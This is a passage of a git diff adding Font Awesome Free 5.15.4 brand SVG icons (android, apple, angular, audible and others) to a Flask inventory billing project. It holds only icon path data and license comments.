57.9 0 58.9 28.4 58.9 73.1v38.5C203 227.7 78.2 251 46.7 264.2 11.2 280.5 16.3 357.7 16.3 376s15.2 104 124.9 104c47.8 0 113.7-20.7 153.3-42.1v25.4c0 3 2.1 8.2 6.1 9.1 3.1 1 50.7 2 59.9 2s62.5.3 66.5-.7c4.1-1 5.1-6.1 5.1-9.1V168c-.1-80.3-57.9-136-192-136zm50.2 348c-21.4 13.2-48.7 24.4-79.1 24.4-52.8 0-58.9-33.5-59-44.7 0-12.2-3-42.7 18.3-52.9 24.3-13.2 75.1-29.4 119.8-33.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/android.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/android.svg new file mode 100644 index 00000000..58ad34c4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/android.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M420.55,301.93a24,24,0,1,1,24-24,24,24,0,0,1-24,24m-265.1,0a24,24,0,1,1,24-24,24,24,0,0,1-24,24m273.7-144.48,47.94-83a10,10,0,1,0-17.27-10h0l-48.54,84.07a301.25,301.25,0,0,0-246.56,0L116.18,64.45a10,10,0,1,0-17.27,10h0l47.94,83C64.53,202.22,8.24,285.55,0,384H576c-8.24-98.45-64.54-181.78-146.85-226.55"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/angellist.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/angellist.svg new file mode 100644 index 00000000..b8d53da9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/angellist.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M347.1 215.4c11.7-32.6 45.4-126.9 45.4-157.1 0-26.6-15.7-48.9-43.7-48.9-44.6 0-84.6 131.7-97.1 163.1C242 144 196.6 0 156.6 0c-31.1 0-45.7 22.9-45.7 51.7 0 35.3 34.2 126.8 46.6 162-6.3-2.3-13.1-4.3-20-4.3-23.4 0-48.3 29.1-48.3 52.6 0 8.9 4.9 21.4 8 29.7-36.9 10-51.1 34.6-51.1 71.7C46 435.6 114.4 512 210.6 512c118 0 191.4-88.6 191.4-202.9 0-43.1-6.9-82-54.9-93.7zM311.7 108c4-12.3 21.1-64.3 37.1-64.3 8.6 0 10.9 8.9 10.9 16 0 19.1-38.6 124.6-47.1 148l-34-6 33.1-93.7zM142.3 48.3c0-11.9 14.5-45.7 46.3 47.1l34.6 100.3c-15.6-1.3-27.7-3-35.4 1.4-10.9-28.8-45.5-119.7-45.5-148.8zM140 244c29.3 0 67.1 94.6 67.1 107.4 0 5.1-4.9 11.4-10.6 11.4-20.9 0-76.9-76.9-76.9-97.7.1-7.7 12.7-21.1 20.4-21.1zm184.3 186.3c-29.1 32-66.3 48.6-109.7 48.6-59.4 0-106.3-32.6-128.9-88.3-17.1-43.4 3.8-68.3 20.6-68.3 11.4 0 54.3 60.3 54.3 73.1 0 4.9-7.7 8.3-11.7 8.3-16.1 0-22.4-15.5-51.1-51.4-29.7 29.7 20.5 86.9 58.3 86.9 26.1 0 43.1-24.2 38-42 3.7 0 8.3.3 11.7-.6 1.1 27.1 9.1 59.4 41.7 61.7 0-.9 2-7.1 2-7.4 0-17.4-10.6-32.6-10.6-50.3 0-28.3 21.7-55.7 43.7-71.7 8-6 17.7-9.7 27.1-13.1 9.7-3.7 20-8 27.4-15.4-1.1-11.2-5.7-21.1-16.9-21.1-27.7 0-120.6 4-120.6-39.7 0-6.7.1-13.1 17.4-13.1 32.3 0 114.3 8 138.3 29.1 18.1 16.1 24.3 113.2-31 174.7zm-98.6-126c9.7 3.1 19.7 4 29.7 6-7.4 5.4-14 12-20.3 19.1-2.8-8.5-6.2-16.8-9.4-25.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/angrycreative.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/angrycreative.svg new file mode 100644 index 00000000..2f3b7d83 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/angrycreative.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M640 238.2l-3.2 28.2-34.5 2.3-2 18.1 34.5-2.3-3.2 28.2-34.4 2.2-2.3 20.1 34.4-2.2-3 26.1-64.7 4.1 12.7-113.2L527 365.2l-31.9 2-23.8-117.8 30.3-2 13.6 79.4 31.7-82.4 93.1-6.2zM426.8 371.5l28.3-1.8L468 249.6l-28.4 1.9-12.8 120zM162 388.1l-19.4-36-3.5 37.4-28.2 1.7 2.7-29.1c-11 18-32 34.3-56.9 35.8C23.9 399.9-3 377 .3 339.7c2.6-29.3 26.7-62.8 67.5-65.4 37.7-2.4 47.6 23.2 51.3 28.8l2.8-30.8 38.9-2.5c20.1-1.3 38.7 3.7 42.5 23.7l2.6-26.6 64.8-4.2-2.7 27.9-36.4 2.4-1.7 17.9 36.4-2.3-2.7 27.9-36.4 2.3-1.9 19.9 36.3-2.3-2.1 20.8 55-117.2 23.8-1.6L370.4 369l8.9-85.6-22.3 1.4 2.9-27.9 75-4.9-3 28-24.3 1.6-9.7 91.9-58 3.7-4.3-15.6-39.4 2.5-8 16.3-126.2 7.7zm-44.3-70.2l-26.4 1.7C84.6 307.2 76.9 303 65 303.8c-19 1.2-33.3 17.5-34.6 33.3-1.4 16 7.3 32.5 28.7 31.2 12.8-.8 21.3-8.6 28.9-18.9l27-1.7 2.7-29.8zm56.1-7.7c1.2-12.9-7.6-13.6-26.1-12.4l-2.7 28.5c14.2-.9 27.5-2.1 28.8-16.1zm21.1 70.8l5.8-60c-5 13.5-14.7 21.1-27.9 26.6l22.1 33.4zm135.4-45l-7.9-37.8-15.8 39.3 23.7-1.5zm-170.1-74.6l-4.3-17.5-39.6 2.6-8.1 18.2-31.9 2.1 57-121.9 23.9-1.6 30.7 102 9.9-104.7 27-1.8 37.8 63.6 6.5-66.6 28.5-1.9-4 41.2c7.4-13.5 22.9-44.7 63.6-47.5 40.5-2.8 52.4 29.3 53.4 30.3l3.3-32 39.3-2.7c12.7-.9 27.8.3 36.3 9.7l-4.4-11.9 32.2-2.2 12.9 43.2 23-45.7 31-2.2-43.6 78.4-4.8 44.3-28.4 1.9 4.8-44.3-15.8-43c1 22.3-9.2 40.1-32 49.6l25.2 38.8-36.4 2.4-19.2-36.8-4 38.3-28.4 1.9 3.3-31.5c-6.7 9.3-19.7 35.4-59.6 38-26.2 1.7-45.6-10.3-55.4-39.2l-4 40.3-25 1.6-37.6-63.3-6.3 66.2-56.8 3.7zm276.6-82.1c10.2-.7 17.5-2.1 21.6-4.3 4.5-2.4 7-6.4 7.6-12.1.6-5.3-.6-8.8-3.4-10.4-3.6-2.1-10.6-2.8-22.9-2l-2.9 28.8zM327.7 214c5.6 5.9 12.7 8.5 21.3 7.9 4.7-.3 9.1-1.8 13.3-4.1 5.5-3 10.6-8 15.1-14.3l-34.2 2.3 2.4-23.9 63.1-4.3 1.2-12-31.2 2.1c-4.1-3.7-7.8-6.6-11.1-8.1-4-1.7-8.1-2.8-12.2-2.5-8 .5-15.3 3.6-22 9.2-7.7 6.4-12 14.5-12.9 24.4-1.1 9.6 1.4 17.3 7.2 23.3zm-201.3 8.2l23.8-1.6-8.3-37.6-15.5 39.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/angular.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/angular.svg new file mode 100644 index 00000000..6ac35380 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/angular.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M185.7 268.1h76.2l-38.1-91.6-38.1 91.6zM223.8 32L16 106.4l31.8 275.7 176 97.9 176-97.9 31.8-275.7zM354 373.8h-48.6l-26.2-65.4H168.6l-26.2 65.4H93.7L223.8 81.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/app-store-ios.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/app-store-ios.svg new file mode 100644 index 00000000..9aa6d559 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/app-store-ios.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM127 384.5c-5.5 9.6-17.8 12.8-27.3 7.3-9.6-5.5-12.8-17.8-7.3-27.3l14.3-24.7c16.1-4.9 29.3-1.1 39.6 11.4L127 384.5zm138.9-53.9H84c-11 0-20-9-20-20s9-20 20-20h51l65.4-113.2-20.5-35.4c-5.5-9.6-2.2-21.8 7.3-27.3 9.6-5.5 21.8-2.2 27.3 7.3l8.9 15.4 8.9-15.4c5.5-9.6 17.8-12.8 27.3-7.3 9.6 5.5 12.8 17.8 7.3 27.3l-85.8 148.6h62.1c20.2 0 31.5 23.7 22.7 40zm98.1 0h-29l19.6 33.9c5.5 9.6 2.2 21.8-7.3 27.3-9.6 5.5-21.8 2.2-27.3-7.3-32.9-56.9-57.5-99.7-74-128.1-16.7-29-4.8-58 7.1-67.8 13.1 22.7 32.7 56.7 58.9 102h52c11 0 20 9 20 20 0 11.1-9 20-20 20z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/app-store.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/app-store.svg new file mode 100644 index 00000000..6baa9d7d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/app-store.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M255.9 120.9l9.1-15.7c5.6-9.8 18.1-13.1 27.9-7.5 9.8 5.6 13.1 18.1 7.5 27.9l-87.5 151.5h63.3c20.5 0 32 24.1 23.1 40.8H113.8c-11.3 0-20.4-9.1-20.4-20.4 0-11.3 9.1-20.4 20.4-20.4h52l66.6-115.4-20.8-36.1c-5.6-9.8-2.3-22.2 7.5-27.9 9.8-5.6 22.2-2.3 27.9 7.5l8.9 15.7zm-78.7 218l-19.6 34c-5.6 9.8-18.1 13.1-27.9 7.5-9.8-5.6-13.1-18.1-7.5-27.9l14.6-25.2c16.4-5.1 29.8-1.2 40.4 11.6zm168.9-61.7h53.1c11.3 0 20.4 9.1 20.4 20.4 0 11.3-9.1 20.4-20.4 20.4h-29.5l19.9 34.5c5.6 9.8 2.3 22.2-7.5 27.9-9.8 5.6-22.2 2.3-27.9-7.5-33.5-58.1-58.7-101.6-75.4-130.6-17.1-29.5-4.9-59.1 7.2-69.1 13.4 23 33.4 57.7 60.1 104zM256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm216 248c0 118.7-96.1 216-216 216-118.7 0-216-96.1-216-216 0-118.7 96.1-216 216-216 118.7 0 216 96.1 216 216z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/apper.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/apper.svg new file mode 100644 index 00000000..afd41e88 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/apper.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M42.1 239.1c22.2 0 29 2.8 33.5 14.6h.8v-22.9c0-11.3-4.8-15.4-17.9-15.4-11.3 0-14.4 2.5-15.1 12.8H4.8c.3-13.9 1.5-19.1 5.8-24.4C17.9 195 29.5 192 56.7 192c33 0 47.1 5 53.9 18.9 2 4.3 4 15.6 4 23.7v76.3H76.3l1.3-19.1h-1c-5.3 15.6-13.6 20.4-35.5 20.4-30.3 0-41.1-10.1-41.1-37.3 0-25.2 12.3-35.8 42.1-35.8zm17.1 48.1c13.1 0 16.9-3 16.9-13.4 0-9.1-4.3-11.6-19.6-11.6-13.1 0-17.9 3-17.9 12.1-.1 10.4 3.7 12.9 20.6 12.9zm77.8-94.9h38.3l-1.5 20.6h.8c9.1-17.1 15.9-20.9 37.5-20.9 14.4 0 24.7 3 31.5 9.1 9.8 8.6 12.8 20.4 12.8 48.1 0 30-3 43.1-12.1 52.9-6.8 7.3-16.4 10.1-33.2 10.1-20.4 0-29.2-5.5-33.8-21.2h-.8v70.3H137v-169zm80.9 60.7c0-27.5-3.3-32.5-20.7-32.5-16.9 0-20.7 5-20.7 28.7 0 28 3.5 33.5 21.2 33.5 16.4 0 20.2-5.6 20.2-29.7zm57.9-60.7h38.3l-1.5 20.6h.8c9.1-17.1 15.9-20.9 37.5-20.9 14.4 0 24.7 3 31.5 9.1 9.8 8.6 12.8 20.4 12.8 48.1 0 30-3 43.1-12.1 52.9-6.8 7.3-16.4 10.1-33.3 10.1-20.4 0-29.2-5.5-33.8-21.2h-.8v70.3h-39.5v-169zm80.9 60.7c0-27.5-3.3-32.5-20.7-32.5-16.9 0-20.7 5-20.7 28.7 0 28 3.5 33.5 21.2 33.5 16.4 0 20.2-5.6 20.2-29.7zm53.8-3.8c0-25.4 3.3-37.8 12.3-45.8 8.8-8.1 22.2-11.3 45.1-11.3 42.8 0 55.7 12.8 55.7 55.7v11.1h-75.3c-.3 2-.3 4-.3 4.8 0 16.9 4.5 21.9 20.1 21.9 13.9 0 17.9-3 17.9-13.9h37.5v2.3c0 9.8-2.5 18.9-6.8 24.7-7.3 9.8-19.6 13.6-44.3 13.6-27.5 0-41.6-3.3-50.6-12.3-8.5-8.5-11.3-21.3-11.3-50.8zm76.4-11.6c-.3-1.8-.3-3.3-.3-3.8 0-12.3-3.3-14.6-19.6-14.6-14.4 0-17.1 3-18.1 15.1l-.3 3.3h38.3zm55.6-45.3h38.3l-1.8 19.9h.7c6.8-14.9 14.4-20.2 29.7-20.2 10.8 0 19.1 3.3 23.4 9.3 5.3 7.3 6.8 14.4 6.8 34 0 1.5 0 5 .2 9.3h-35c.3-1.8.3-3.3.3-4 0-15.4-2-19.4-10.3-19.4-6.3 0-10.8 3.3-13.1 9.3-1 3-1 4.3-1 12.3v68h-38.3V192.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/apple-pay.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/apple-pay.svg new file mode 100644 index 00000000..b029fe00 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/apple-pay.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M116.9 158.5c-7.5 8.9-19.5 15.9-31.5 14.9-1.5-12 4.4-24.8 11.3-32.6 7.5-9.1 20.6-15.6 31.3-16.1 1.2 12.4-3.7 24.7-11.1 33.8m10.9 17.2c-17.4-1-32.3 9.9-40.5 9.9-8.4 0-21-9.4-34.8-9.1-17.9.3-34.5 10.4-43.6 26.5-18.8 32.3-4.9 80 13.3 106.3 8.9 13 19.5 27.3 33.5 26.8 13.3-.5 18.5-8.6 34.5-8.6 16.1 0 20.8 8.6 34.8 8.4 14.5-.3 23.6-13 32.5-26 10.1-14.8 14.3-29.1 14.5-29.9-.3-.3-28-10.9-28.3-42.9-.3-26.8 21.9-39.5 22.9-40.3-12.5-18.6-32-20.6-38.8-21.1m100.4-36.2v194.9h30.3v-66.6h41.9c38.3 0 65.1-26.3 65.1-64.3s-26.4-64-64.1-64h-73.2zm30.3 25.5h34.9c26.3 0 41.3 14 41.3 38.6s-15 38.8-41.4 38.8h-34.8V165zm162.2 170.9c19 0 36.6-9.6 44.6-24.9h.6v23.4h28v-97c0-28.1-22.5-46.3-57.1-46.3-32.1 0-55.9 18.4-56.8 43.6h27.3c2.3-12 13.4-19.9 28.6-19.9 18.5 0 28.9 8.6 28.9 24.5v10.8l-37.8 2.3c-35.1 2.1-54.1 16.5-54.1 41.5.1 25.2 19.7 42 47.8 42zm8.2-23.1c-16.1 0-26.4-7.8-26.4-19.6 0-12.3 9.9-19.4 28.8-20.5l33.6-2.1v11c0 18.2-15.5 31.2-36 31.2zm102.5 74.6c29.5 0 43.4-11.3 55.5-45.4L640 193h-30.8l-35.6 115.1h-.6L537.4 193h-31.6L557 334.9l-2.8 8.6c-4.6 14.6-12.1 20.3-25.5 20.3-2.4 0-7-.3-8.9-.5v23.4c1.8.4 9.3.7 11.6.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/apple.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/apple.svg new file mode 100644 index 00000000..230bc0c8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/apple.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M318.7 268.7c-.2-36.7 16.4-64.4 50-84.8-18.8-26.9-47.2-41.7-84.7-44.6-35.5-2.8-74.3 20.7-88.5 20.7-15 0-49.4-19.7-76.4-19.7C63.3 141.2 4 184.8 4 273.5q0 39.3 14.4 81.2c12.8 36.7 59 126.7 107.2 125.2 25.2-.6 43-17.9 75.8-17.9 31.8 0 48.3 17.9 76.4 17.9 48.6-.7 90.4-82.5 102.6-119.3-65.2-30.7-61.7-90-61.7-91.9zm-56.6-164.2c27.3-32.4 24.8-61.9 24-72.5-24.1 1.4-52 16.4-67.9 34.9-17.5 19.8-27.8 44.3-25.6 71.9 26.1 2 49.9-11.4 69.5-34.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/artstation.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/artstation.svg new file mode 100644 index 00000000..4fd4cff3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/artstation.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M2 377.4l43 74.3A51.35 51.35 0 0 0 90.9 480h285.4l-59.2-102.6zM501.8 350L335.6 59.3A51.38 51.38 0 0 0 290.2 32h-88.4l257.3 447.6 40.7-70.5c1.9-3.2 21-29.7 2-59.1zM275 304.5l-115.5-200L44 304.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/asymmetrik.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/asymmetrik.svg new file mode 100644 index 00000000..1150d11c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/asymmetrik.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M517.5 309.2c38.8-40 58.1-80 58.5-116.1.8-65.5-59.4-118.2-169.4-135C277.9 38.4 118.1 73.6 0 140.5 52 114 110.6 92.3 170.7 82.3c74.5-20.5 153-25.4 221.3-14.8C544.5 91.3 588.8 195 490.8 299.2c-10.2 10.8-22 21.1-35 30.6L304.9 103.4 114.7 388.9c-65.6-29.4-76.5-90.2-19.1-151.2 20.8-22.2 48.3-41.9 79.5-58.1 20-12.2 39.7-22.6 62-30.7-65.1 20.3-122.7 52.9-161.6 92.9-27.7 28.6-41.4 57.1-41.7 82.9-.5 35.1 23.4 65.1 68.4 83l-34.5 51.7h101.6l22-34.4c22.2 1 45.3 0 68.6-2.7l-22.8 37.1h135.5L340 406.3c18.6-5.3 36.9-11.5 54.5-18.7l45.9 71.8H542L468.6 349c18.5-12.1 35-25.5 48.9-39.8zm-187.6 80.5l-25-40.6-32.7 53.3c-23.4 3.5-46.7 5.1-69.2 4.4l101.9-159.3 78.7 123c-17.2 7.4-35.3 13.9-53.7 19.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/atlassian.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/atlassian.svg new file mode 100644 index 00000000..be2dd254 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/atlassian.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M152.2 236.4c-7.7-8.2-19.7-7.7-24.8 2.8L1.6 490.2c-5 10 2.4 21.7 13.4 21.7h175c5.8.1 11-3.2 13.4-8.4 37.9-77.8 15.1-196.3-51.2-267.1zM244.4 8.1c-122.3 193.4-8.5 348.6 65 495.5 2.5 5.1 7.7 8.4 13.4 8.4H497c11.2 0 18.4-11.8 13.4-21.7 0 0-234.5-470.6-240.4-482.3-5.3-10.6-18.8-10.8-25.6.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/audible.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/audible.svg new file mode 100644 index 00000000..aa44decc --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/audible.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M640 199.9v54l-320 200L0 254v-54l320 200 320-200.1zm-194.5 72l47.1-29.4c-37.2-55.8-100.7-92.6-172.7-92.6-72 0-135.5 36.7-172.6 92.4h.3c2.5-2.3 5.1-4.5 7.7-6.7 89.7-74.4 219.4-58.1 290.2 36.3zm-220.1 18.8c16.9-11.9 36.5-18.7 57.4-18.7 34.4 0 65.2 18.4 86.4 47.6l45.4-28.4c-20.9-29.9-55.6-49.5-94.8-49.5-38.9 0-73.4 19.4-94.4 49zM103.6 161.1c131.8-104.3 318.2-76.4 417.5 62.1l.7 1 48.8-30.4C517.1 112.1 424.8 58.1 319.9 58.1c-103.5 0-196.6 53.5-250.5 135.6 9.9-10.5 22.7-23.5 34.2-32.6zm467 32.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/autoprefixer.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/autoprefixer.svg new file mode 100644 index 00000000..f4a5e0fe --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/autoprefixer.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M318.4 16l-161 480h77.5l25.4-81.4h119.5L405 496h77.5L318.4 16zm-40.3 341.9l41.2-130.4h1.5l40.9 130.4h-83.6zM640 405l-10-31.4L462.1 358l19.4 56.5L640 405zm-462.1-47L10 373.7 0 405l158.5 9.4 19.4-56.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/avianex.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/avianex.svg new file mode 100644 index 00000000..f4614187 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/avianex.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M453.1 32h-312c-38.9 0-76.2 31.2-83.3 69.7L1.2 410.3C-5.9 448.8 19.9 480 58.9 480h312c38.9 0 76.2-31.2 83.3-69.7l56.7-308.5c7-38.6-18.8-69.8-57.8-69.8zm-58.2 347.3l-32 13.5-115.4-110c-14.7 10-29.2 19.5-41.7 27.1l22.1 64.2-17.9 12.7-40.6-61-52.4-48.1 15.7-15.4 58 31.1c9.3-10.5 20.8-22.6 32.8-34.9L203 228.9l-68.8-99.8 18.8-28.9 8.9-4.8L265 207.8l4.9 4.5c19.4-18.8 33.8-32.4 33.8-32.4 7.7-6.5 21.5-2.9 30.7 7.9 9 10.5 10.6 24.7 2.7 31.3-1.8 1.3-15.5 11.4-35.3 25.6l4.5 7.3 94.9 119.4-6.3 7.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/aviato.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/aviato.svg new file mode 100644 index 00000000..0308da49 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/aviato.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M107.2 283.5l-19-41.8H36.1l-19 41.8H0l62.2-131.4 62.2 131.4h-17.2zm-45-98.1l-19.6 42.5h39.2l-19.6-42.5zm112.7 102.4l-62.2-131.4h17.1l45.1 96 45.1-96h17l-62.1 131.4zm80.6-4.3V156.4H271v127.1h-15.5zm209.1-115.6v115.6h-17.3V167.9h-41.2v-11.5h99.6v11.5h-41.1zM640 218.8c0 9.2-1.7 17.8-5.1 25.8-3.4 8-8.2 15.1-14.2 21.1-6 6-13.1 10.8-21.1 14.2-8 3.4-16.6 5.1-25.8 5.1s-17.8-1.7-25.8-5.1c-8-3.4-15.1-8.2-21.1-14.2-6-6-10.8-13-14.2-21.1-3.4-8-5.1-16.6-5.1-25.8s1.7-17.8 5.1-25.8c3.4-8 8.2-15.1 14.2-21.1 6-6 13-8.4 21.1-11.9 8-3.4 16.6-5.1 25.8-5.1s17.8 1.7 25.8 5.1c8 3.4 15.1 5.8 21.1 11.9 6 6 10.7 13.1 14.2 21.1 3.4 8 5.1 16.6 5.1 25.8zm-15.5 0c0-7.3-1.3-14-3.9-20.3-2.6-6.3-6.2-11.7-10.8-16.3-4.6-4.6-10-8.2-16.2-10.9-6.2-2.7-12.8-4-19.8-4s-13.6 1.3-19.8 4c-6.2 2.7-11.6 6.3-16.2 